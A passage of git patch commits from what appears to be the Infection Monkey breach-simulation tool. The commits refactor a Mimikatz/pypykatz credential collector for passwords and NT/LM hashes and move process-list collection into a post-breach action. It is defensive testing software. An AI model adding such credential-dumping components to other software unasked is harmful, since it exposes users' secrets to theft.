collected_credentials = collect_credentials() assert len(collected_credentials) == 2 @@ -62,7 +68,7 @@ def test_pypykatz_result_parsing_defaults(monkeypatch): lm_hash = LMHash("lm_hash") expected_credentials = Credentials([username], [password, lm_hash]) - collected_credentials = list(MimikatzCredentialCollector().collect_credentials()) + collected_credentials = collect_credentials() assert len(collected_credentials) == 1 assert collected_credentials[0] == expected_credentials @@ -77,6 +83,6 @@ def test_pypykatz_result_parsing_no_identities(monkeypatch): nt_hash = NTHash("ntlm_hash") expected_credentials = Credentials([], [lm_hash, nt_hash]) - collected_credentials = list(MimikatzCredentialCollector().collect_credentials()) + collected_credentials = collect_credentials() assert len(collected_credentials) == 1 assert collected_credentials[0] == expected_credentials From c39fb6746dae5b67ac3541fc8a2beb52c00bf98d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Feb 2022 13:47:01 -0500 Subject: [PATCH 0399/1110] Agent: Rename ICredentialComponent.type -> credential_type "type" is built-in function in Python. To avoid confusion or a potential name collision, this commit renames the ICredentialComponent.type field to ICredentialComponent.credential_type --- .../credential_components/i_credential_component.py | 2 +- .../credential_collectors/credential_components/lm_hash.py | 2 +- .../credential_collectors/credential_components/nt_hash.py | 2 +- .../credential_collectors/credential_components/password.py | 2 +- .../credential_collectors/credential_components/username.py | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py b/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py index 97b3e35c4..2a2c38f00 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py @@ -6,5 +6,5 @@ from infection_monkey.credential_collectors.credential_type import CredentialTyp class ICredentialComponent(ABC): @property @abstractmethod - def type(self) -> CredentialType: + def credential_type(self) -> CredentialType: pass diff --git a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py index 4236a5247..03869142e 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py @@ -6,5 +6,5 @@ from .i_credential_component import ICredentialComponent @dataclass(frozen=True) class LMHash(ICredentialComponent): - type: CredentialType = field(default=CredentialType.LM_HASH, init=False) + credential_type: CredentialType = field(default=CredentialType.LM_HASH, init=False) lm_hash: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py index 6f90f37ff..81b92093b 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py @@ -6,5 +6,5 @@ from .i_credential_component import ICredentialComponent @dataclass(frozen=True) class NTHash(ICredentialComponent): - type: CredentialType = field(default=CredentialType.NT_HASH, init=False) + credential_type: CredentialType = field(default=CredentialType.NT_HASH, init=False) nt_hash: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/password.py b/monkey/infection_monkey/credential_collectors/credential_components/password.py index e3ed03fcf..26fee38f5 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/password.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/password.py @@ -6,5 +6,5 @@ from .i_credential_component import ICredentialComponent @dataclass(frozen=True) class Password(ICredentialComponent): - type: CredentialType = field(default=CredentialType.PASSWORD, init=False) + credential_type: CredentialType = field(default=CredentialType.PASSWORD, init=False) password: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/username.py b/monkey/infection_monkey/credential_collectors/credential_components/username.py index d822e0e20..23bfd56ff 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/username.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/username.py @@ -6,5 +6,5 @@ from .i_credential_component import ICredentialComponent @dataclass(frozen=True) class Username(ICredentialComponent): - type: CredentialType = field(default=CredentialType.USERNAME, init=False) + credential_type: CredentialType = field(default=CredentialType.USERNAME, init=False) username: str From 569159b11a5b2f749b072810dce0aa70b40c6380 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Feb 2022 14:07:59 -0500 Subject: [PATCH 0400/1110] Agent: Move the definition of ICredentialCollector to i_puppet Low-level components plug into high-level components. i_puppet defines all of the interfaces that puppets can use, while the concrete implementations of these things rely on the definitions in i_puppet. --- .../credential_collectors/__init__.py | 2 -- .../credential_components/lm_hash.py | 3 +-- .../credential_components/nt_hash.py | 3 +-- .../credential_components/password.py | 3 +-- .../credential_components/username.py | 3 +-- .../mimikatz_collector/mimikatz_cred_collector.py | 11 +++-------- monkey/infection_monkey/i_puppet/__init__.py | 6 ++++++ .../i_puppet/credential_collection/__init__.py | 4 ++++ .../credential_collection}/credential_type.py | 0 .../credential_collection}/credentials.py | 2 +- .../credential_collection}/i_credential_collector.py | 0 .../credential_collection}/i_credential_component.py | 2 +- .../mimikatz_collector/test_mimikatz_collector.py | 3 ++- 13 files changed, 21 insertions(+), 21 deletions(-) create mode 100644 monkey/infection_monkey/i_puppet/credential_collection/__init__.py rename monkey/infection_monkey/{credential_collectors => i_puppet/credential_collection}/credential_type.py (100%) rename monkey/infection_monkey/{credential_collectors => i_puppet/credential_collection}/credentials.py (70%) rename monkey/infection_monkey/{credential_collectors => i_puppet/credential_collection}/i_credential_collector.py (100%) rename monkey/infection_monkey/{credential_collectors/credential_components => i_puppet/credential_collection}/i_credential_component.py (67%) diff --git a/monkey/infection_monkey/credential_collectors/__init__.py b/monkey/infection_monkey/credential_collectors/__init__.py index 7265bbc00..76ebc4d87 100644 --- a/monkey/infection_monkey/credential_collectors/__init__.py +++ b/monkey/infection_monkey/credential_collectors/__init__.py @@ -1,6 +1,4 @@ -from .i_credential_collector import ICredentialCollector from .credential_components.nt_hash import NTHash from .credential_components.lm_hash import LMHash from .credential_components.password import Password from .credential_components.username import Username -from .credentials import Credentials diff --git a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py index 03869142e..7706540a3 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py @@ -1,7 +1,6 @@ from dataclasses import dataclass, field -from ..credential_type import CredentialType -from .i_credential_component import ICredentialComponent +from infection_monkey.i_puppet import CredentialType, ICredentialComponent @dataclass(frozen=True) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py index 81b92093b..e6932c4c5 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py @@ -1,7 +1,6 @@ from dataclasses import dataclass, field -from ..credential_type import CredentialType -from .i_credential_component import ICredentialComponent +from infection_monkey.i_puppet import CredentialType, ICredentialComponent @dataclass(frozen=True) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/password.py b/monkey/infection_monkey/credential_collectors/credential_components/password.py index 26fee38f5..701c9fcde 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/password.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/password.py @@ -1,7 +1,6 @@ from dataclasses import dataclass, field -from ..credential_type import CredentialType -from .i_credential_component import ICredentialComponent +from infection_monkey.i_puppet import CredentialType, ICredentialComponent @dataclass(frozen=True) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/username.py b/monkey/infection_monkey/credential_collectors/credential_components/username.py index 23bfd56ff..208849061 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/username.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/username.py @@ -1,7 +1,6 @@ from dataclasses import dataclass, field -from ..credential_type import CredentialType -from .i_credential_component import ICredentialComponent +from infection_monkey.i_puppet import CredentialType, ICredentialComponent @dataclass(frozen=True) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py index c4e27a33c..e1f94c4dd 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py @@ -1,13 +1,8 @@ from typing import Iterable -from infection_monkey.credential_collectors import ( - Credentials, - ICredentialCollector, - LMHash, - NTHash, - Password, - Username, -) +from infection_monkey.credential_collectors import LMHash, NTHash, Password, Username +from infection_monkey.i_puppet.credential_collection import Credentials, ICredentialCollector + from . import pypykatz_handler from .windows_credentials import WindowsCredentials diff --git a/monkey/infection_monkey/i_puppet/__init__.py b/monkey/infection_monkey/i_puppet/__init__.py index c4e6b5b1c..d6422ebc2 100644 --- a/monkey/infection_monkey/i_puppet/__init__.py +++ b/monkey/infection_monkey/i_puppet/__init__.py @@ -10,3 +10,9 @@ from .i_puppet import ( UnknownPluginError, ) from .i_fingerprinter import IFingerprinter +from .credential_collection import ( + Credentials, + CredentialType, + ICredentialCollector, + ICredentialComponent, +) diff --git a/monkey/infection_monkey/i_puppet/credential_collection/__init__.py b/monkey/infection_monkey/i_puppet/credential_collection/__init__.py new file mode 100644 index 000000000..8bfa68b38 --- /dev/null +++ b/monkey/infection_monkey/i_puppet/credential_collection/__init__.py @@ -0,0 +1,4 @@ +from .i_credential_collector import ICredentialCollector +from .credentials import Credentials +from .i_credential_component import ICredentialComponent +from .credential_type import CredentialType diff --git a/monkey/infection_monkey/credential_collectors/credential_type.py b/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py similarity index 100% rename from monkey/infection_monkey/credential_collectors/credential_type.py rename to monkey/infection_monkey/i_puppet/credential_collection/credential_type.py diff --git a/monkey/infection_monkey/credential_collectors/credentials.py b/monkey/infection_monkey/i_puppet/credential_collection/credentials.py similarity index 70% rename from monkey/infection_monkey/credential_collectors/credentials.py rename to monkey/infection_monkey/i_puppet/credential_collection/credentials.py index 6688e393f..d5591f6d7 100644 --- a/monkey/infection_monkey/credential_collectors/credentials.py +++ b/monkey/infection_monkey/i_puppet/credential_collection/credentials.py @@ -1,7 +1,7 @@ from dataclasses import dataclass from typing import Tuple -from .credential_components.i_credential_component import ICredentialComponent +from .i_credential_component import ICredentialComponent @dataclass(frozen=True) diff --git a/monkey/infection_monkey/credential_collectors/i_credential_collector.py b/monkey/infection_monkey/i_puppet/credential_collection/i_credential_collector.py similarity index 100% rename from monkey/infection_monkey/credential_collectors/i_credential_collector.py rename to monkey/infection_monkey/i_puppet/credential_collection/i_credential_collector.py diff --git a/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py b/monkey/infection_monkey/i_puppet/credential_collection/i_credential_component.py similarity index 67% rename from monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py rename to monkey/infection_monkey/i_puppet/credential_collection/i_credential_component.py index 2a2c38f00..d1c005886 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py +++ b/monkey/infection_monkey/i_puppet/credential_collection/i_credential_component.py @@ -1,6 +1,6 @@ from abc import ABC, abstractmethod -from infection_monkey.credential_collectors.credential_type import CredentialType +from .credential_type import CredentialType class ICredentialComponent(ABC): diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py index 49af1d003..8380229b5 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py @@ -2,13 +2,14 @@ from typing import List import pytest -from infection_monkey.credential_collectors import Credentials, LMHash, NTHash, Password, Username +from infection_monkey.credential_collectors import LMHash, NTHash, Password, Username from infection_monkey.credential_collectors.mimikatz_collector.mimikatz_cred_collector import ( MimikatzCredentialCollector, ) from infection_monkey.credential_collectors.mimikatz_collector.windows_credentials import ( WindowsCredentials, ) +from infection_monkey.i_puppet import Credentials def patch_pypykatz(win_creds: [WindowsCredentials], monkeypatch): From 0583cab8e0d4b461d5168f86e64b4ce5939616d0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Feb 2022 14:17:28 -0500 Subject: [PATCH 0401/1110] Agent: Rename mimikatz_cred_collector.py to match the class name --- ...imikatz_cred_collector.py => mimikatz_credential_collector.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey/infection_monkey/credential_collectors/mimikatz_collector/{mimikatz_cred_collector.py => mimikatz_credential_collector.py} (100%) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py similarity index 100% rename from monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py rename to monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py From 879abf3df04576ec8ff4d6e036d8f250641eecc8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Feb 2022 14:21:07 -0500 Subject: [PATCH 0402/1110] Agent: Export MimikatzCredentialCollector from credential_collectors --- monkey/infection_monkey/credential_collectors/__init__.py | 1 + .../credential_collectors/mimikatz_collector/__init__.py | 1 + .../{mimikatz_collector => }/test_mimikatz_collector.py | 7 +++++-- 3 files changed, 7 insertions(+), 2 deletions(-) rename monkey/tests/unit_tests/infection_monkey/credential_collectors/{mimikatz_collector => }/test_mimikatz_collector.py (94%) diff --git a/monkey/infection_monkey/credential_collectors/__init__.py b/monkey/infection_monkey/credential_collectors/__init__.py index 76ebc4d87..a9d22a4c4 100644 --- a/monkey/infection_monkey/credential_collectors/__init__.py +++ b/monkey/infection_monkey/credential_collectors/__init__.py @@ -2,3 +2,4 @@ from .credential_components.nt_hash import NTHash from .credential_components.lm_hash import LMHash from .credential_components.password import Password from .credential_components.username import Username +from .mimikatz_collector import MimikatzCredentialCollector diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/__init__.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/__init__.py index e69de29bb..c6a8f1a91 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/__init__.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/__init__.py @@ -0,0 +1 @@ +from .mimikatz_credential_collector import MimikatzCredentialCollector diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py similarity index 94% rename from monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py rename to monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py index 8380229b5..b33d4e097 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_mimikatz_collector.py @@ -2,9 +2,12 @@ from typing import List import pytest -from infection_monkey.credential_collectors import LMHash, NTHash, Password, Username -from infection_monkey.credential_collectors.mimikatz_collector.mimikatz_cred_collector import ( +from infection_monkey.credential_collectors import ( + LMHash, MimikatzCredentialCollector, + NTHash, + Password, + Username, ) from infection_monkey.credential_collectors.mimikatz_collector.windows_credentials import ( WindowsCredentials, From a9bb2dee70e5b4eee62f61a1bda98f8d50010435 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Feb 2022 14:26:15 -0500 Subject: [PATCH 0403/1110] Agent: Renumber the CredentialType Enum --- .../i_puppet/credential_collection/credential_type.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py b/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py index b437e0b87..98e6c0097 100644 --- a/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py +++ b/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py @@ -2,7 +2,7 @@ from enum import Enum class CredentialType(Enum): - USERNAME = 2 - PASSWORD = 3 - NT_HASH = 4 - LM_HASH = 5 + USERNAME = 1 + PASSWORD = 2 + NT_HASH = 3 + LM_HASH = 4 From 5d01f12d45d7fb01996e0393422a71da27ced429 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 11 Feb 2022 22:26:21 +0530 Subject: [PATCH 0404/1110] Common: Add PBA const and remove system info collector const for process list collection --- monkey/common/common_consts/post_breach_consts.py | 1 + monkey/common/common_consts/system_info_collectors_names.py | 1 - 2 files changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/common/common_consts/post_breach_consts.py b/monkey/common/common_consts/post_breach_consts.py index 01d314482..941565767 100644 --- a/monkey/common/common_consts/post_breach_consts.py +++ b/monkey/common/common_consts/post_breach_consts.py @@ -9,3 +9,4 @@ POST_BREACH_TIMESTOMPING = "Modify files' timestamps" POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC = "Signed script proxy execution" POST_BREACH_ACCOUNT_DISCOVERY = "Account discovery" POST_BREACH_CLEAR_CMD_HISTORY = "Clear command history" +POST_BREACH_PROCESS_LIST_COLLECTION = "Process list collection" diff --git a/monkey/common/common_consts/system_info_collectors_names.py b/monkey/common/common_consts/system_info_collectors_names.py index 075d6ff45..711843b19 100644 --- a/monkey/common/common_consts/system_info_collectors_names.py +++ b/monkey/common/common_consts/system_info_collectors_names.py @@ -1,2 +1 @@ -PROCESS_LIST_COLLECTOR = "ProcessListCollector" MIMIKATZ_COLLECTOR = "MimikatzCollector" From 4839f099a449440c262e5bd60329b5a03a104fa3 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 11 Feb 2022 22:30:38 +0530 Subject: [PATCH 0405/1110] Agent: Add process list collection PBA Instead of a system info collector, it is now a PBA. --- .../actions/collect_processes_list.py} | 30 ++++++++++--------- monkey/infection_monkey/puppet/mock_puppet.py | 4 +++ 2 files changed, 20 insertions(+), 14 deletions(-) rename monkey/infection_monkey/{system_info/collectors/process_list_collector.py => post_breach/actions/collect_processes_list.py} (58%) diff --git a/monkey/infection_monkey/system_info/collectors/process_list_collector.py b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py similarity index 58% rename from monkey/infection_monkey/system_info/collectors/process_list_collector.py rename to monkey/infection_monkey/post_breach/actions/collect_processes_list.py index 12cdf8aeb..c83faf9b3 100644 --- a/monkey/infection_monkey/system_info/collectors/process_list_collector.py +++ b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py @@ -2,31 +2,33 @@ import logging import psutil -from common.common_consts.system_info_collectors_names import PROCESS_LIST_COLLECTOR -from infection_monkey.system_info.system_info_collector import SystemInfoCollector +from common.common_consts.post_breach_consts import POST_BREACH_PROCESS_LIST_COLLECTION +from infection_monkey.post_breach.pba import PBA logger = logging.getLogger(__name__) # Linux doesn't have WindowsError +applicable_exceptions = None try: - WindowsError + applicable_exceptions = (psutil.AccessDenied, WindowsError) except NameError: - # noinspection PyShadowingBuiltins - WindowsError = psutil.AccessDenied + applicable_exceptions = psutil.AccessDenied -class ProcessListCollector(SystemInfoCollector): +class ProcessListCollection(PBA): def __init__(self): - super().__init__(name=PROCESS_LIST_COLLECTOR) + super().__init__(POST_BREACH_PROCESS_LIST_COLLECTION) - def collect(self) -> dict: + def run(self): """ - Adds process information from the host to the system information. + Collects process information from the host. Currently lists process name, ID, parent ID, command line and the full image path of each process. """ logger.debug("Reading process list") + processes = {} + success_state = False for process in psutil.process_iter(): try: processes[process.pid] = { @@ -36,10 +38,10 @@ class ProcessListCollector(SystemInfoCollector): "cmdline": " ".join(process.cmdline()), "full_image_path": process.exe(), } - except (psutil.AccessDenied, WindowsError): - # we may be running as non root and some processes are impossible to acquire in - # Windows/Linux. - # In this case we'll just add what we know. + success_state = True + except applicable_exceptions: + # We may be running as non root and some processes are impossible to acquire in + # Windows/Linux. In this case, we'll just add what we know. processes[process.pid] = { "name": "null", "pid": process.pid, @@ -49,4 +51,4 @@ class ProcessListCollector(SystemInfoCollector): } continue - return {"process_list": processes} + return self.command, [str(processes), success_state] diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index ec3984685..904ece2e5 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -12,6 +12,7 @@ from infection_monkey.i_puppet import ( PortStatus, PostBreachData, ) +from infection_monkey.post_breach.actions.collect_processes_list import ProcessListCollection DOT_1 = "10.0.0.1" DOT_2 = "10.0.0.2" @@ -158,6 +159,9 @@ class MockPuppet(IPuppet): if name == "AccountDiscovery": return PostBreachData("pba command 1", ["pba result 1", True]) + elif name == "ProcessListCollection": + cmd, result = ProcessListCollection().run() + return PostBreachData(cmd, result) else: return PostBreachData("pba command 2", ["pba result 2", False]) From a8059f021aa182033cccd32ae043689ac544f4aa Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 11 Feb 2022 22:36:37 +0530 Subject: [PATCH 0406/1110] Island: Change config schema for process list collection --- .../config_schema/definitions/post_breach_actions.py | 8 ++++++++ .../definitions/system_info_collector_classes.py | 9 --------- monkey/monkey_island/cc/services/config_schema/monkey.py | 3 +-- .../system_info_telemetry_dispatcher.py | 5 +---- 4 files changed, 10 insertions(+), 15 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py index 7d62ac36e..e76b2c254 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py @@ -94,5 +94,13 @@ POST_BREACH_ACTIONS = { "info": "Attempts to clear the command history.", "attack_techniques": ["T1146"], }, + { + "type": "string", + "enum": ["ProcessListCollection"], + "title": "Process List Collector", + "safe": True, + "info": "Collects a list of running processes on the machine.", + "attack_techniques": ["T1082"], + }, ], } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py index 5e446513c..2f8c38ee8 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py @@ -1,6 +1,5 @@ from common.common_consts.system_info_collectors_names import ( MIMIKATZ_COLLECTOR, - PROCESS_LIST_COLLECTOR, ) SYSTEM_INFO_COLLECTOR_CLASSES = { @@ -16,13 +15,5 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { "info": "Collects credentials from Windows credential manager.", "attack_techniques": ["T1003", "T1005"], }, - { - "type": "string", - "enum": [PROCESS_LIST_COLLECTOR], - "title": "Process List Collector", - "safe": True, - "info": "Collects a list of running processes on the machine.", - "attack_techniques": ["T1082"], - }, ], } diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index 80719d4c2..ba5c88661 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -1,6 +1,5 @@ from common.common_consts.system_info_collectors_names import ( MIMIKATZ_COLLECTOR, - PROCESS_LIST_COLLECTOR, ) MONKEY = { @@ -71,6 +70,7 @@ MONKEY = { "ScheduleJobs", "Timestomping", "AccountDiscovery", + "ProcessListCollection", ], }, }, @@ -85,7 +85,6 @@ MONKEY = { "uniqueItems": True, "items": {"$ref": "#/definitions/system_info_collector_classes"}, "default": [ - PROCESS_LIST_COLLECTOR, MIMIKATZ_COLLECTOR, ], }, diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py index 13e0a9298..9df25a677 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py @@ -1,16 +1,13 @@ import logging import typing -from common.common_consts.system_info_collectors_names import PROCESS_LIST_COLLECTOR from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import ( check_antivirus_existence, ) logger = logging.getLogger(__name__) -SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = { - PROCESS_LIST_COLLECTOR: [check_antivirus_existence], -} +SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = {} class SystemInfoTelemetryDispatcher(object): From 6ab62c6f56f6135063b9248dce212c91e7e34b15 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 11 Feb 2022 23:14:50 +0530 Subject: [PATCH 0407/1110] Docs: Change adding system info collectors' documentation to refer to existing files --- docs/content/development/adding-system-info-collectors.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/content/development/adding-system-info-collectors.md b/docs/content/development/adding-system-info-collectors.md index e865bcfd6..353bd6c0d 100644 --- a/docs/content/development/adding-system-info-collectors.md +++ b/docs/content/development/adding-system-info-collectors.md @@ -39,7 +39,7 @@ class MyNewCollector(SystemInfoCollector): #### Implementation -Override the `collect` method with your own implementation. See the `process_list_collector.py` System Info Collector for reference. You can log during collection as well. +Override the `collect` method with your own implementation. See the `aws_collector.py` System Info Collector for reference. You can log during collection as well. ### Modify the Monkey Island @@ -59,7 +59,7 @@ You'll need to add your Sytem Info Collector to the `monkey_island/cc/services/c "enum": [ "HostnameCollector" ], - "title": "Which Environment this machine is on (on prem/cloud)", + "title": "Which environment this machine is on (on prem/cloud)", "attack_techniques": [] }, { <================================= @@ -96,6 +96,6 @@ Also, you can add the System Info Collector to be used by default by adding it t #### Telemetry processing -1. Add a process function under `monkey_island/cc/telemetry/processing/system_info_collectors/{DATA_NAME_HERE}.py`. The function should parse the System Info Collector's result. See `processing/system_info_collectors/environment.py` for example. +1. Add a process function under `monkey_island/cc/telemetry/processing/system_info_collectors/{DATA_NAME_HERE}.py`. The function should parse the System Info Collector's result. See `processing/system_info_collectors/aws.py` for example. 2. Add that function to `SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS` under `monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py`. From fcfa01223dc9d3e90c36de15bca29030b8280195 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 11 Feb 2022 23:15:59 +0530 Subject: [PATCH 0408/1110] Project: Remove ProcessListCollector from Vulture allowlist --- vulture_allowlist.py | 1 - 1 file changed, 1 deletion(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 2d8163f29..dde79f032 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -98,7 +98,6 @@ Timestomping # unused class (monkey/infection_monkey/post_breach/actions/timest SignedScriptProxyExecution # unused class (monkey/infection_monkey/post_breach/actions/use_signed_scripts.py:15) EnvironmentCollector # unused class (monkey/infection_monkey/system_info/collectors/environment_collector.py:19) HostnameCollector # unused class (monkey/infection_monkey/system_info/collectors/hostname_collector.py:10) -ProcessListCollector # unused class (monkey/infection_monkey/system_info/collectors/process_list_collector.py:18) _.coinit_flags # unused attribute (monkey/infection_monkey/system_info/windows_info_collector.py:11) _.representations # unused attribute (monkey/monkey_island/cc/app.py:180) _.log_message # unused method (monkey/infection_monkey/transport/http.py:188) From 7cee2e49a21112a0ed91cfcfea0f77bab943a36c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 14 Feb 2022 12:35:01 +0530 Subject: [PATCH 0409/1110] Agent: Improve exception catching logic in process list collection PBA --- .../post_breach/actions/collect_processes_list.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py index c83faf9b3..7e9e1b059 100644 --- a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py +++ b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py @@ -8,11 +8,11 @@ from infection_monkey.post_breach.pba import PBA logger = logging.getLogger(__name__) # Linux doesn't have WindowsError -applicable_exceptions = None +applicable_exceptions = psutil.AccessDenied try: applicable_exceptions = (psutil.AccessDenied, WindowsError) except NameError: - applicable_exceptions = psutil.AccessDenied + pass class ProcessListCollection(PBA): From 417f40d62d49c4fd6c27a711d8edbebe0a9bbadd Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 14 Feb 2022 17:13:59 +0530 Subject: [PATCH 0410/1110] Agent: Add TODOs in automated master and process collection list PBA --- monkey/infection_monkey/master/automated_master.py | 3 +++ .../post_breach/actions/collect_processes_list.py | 5 ++++- 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 28994d673..c29e3c6f3 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -176,6 +176,9 @@ class AutomatedMaster(IMaster): ) def _run_pba(self, pba: Tuple[str, Dict]): + # TODO: This is the class's name right now. We need `display_name` (see the + # ProcessListCollection PBA). This is shown in the Security report as the PBA + # name and is checked against in the T1082's mongo query in the ATT&CK report. name = pba[0] options = pba[1] diff --git a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py index 7e9e1b059..cae3658c4 100644 --- 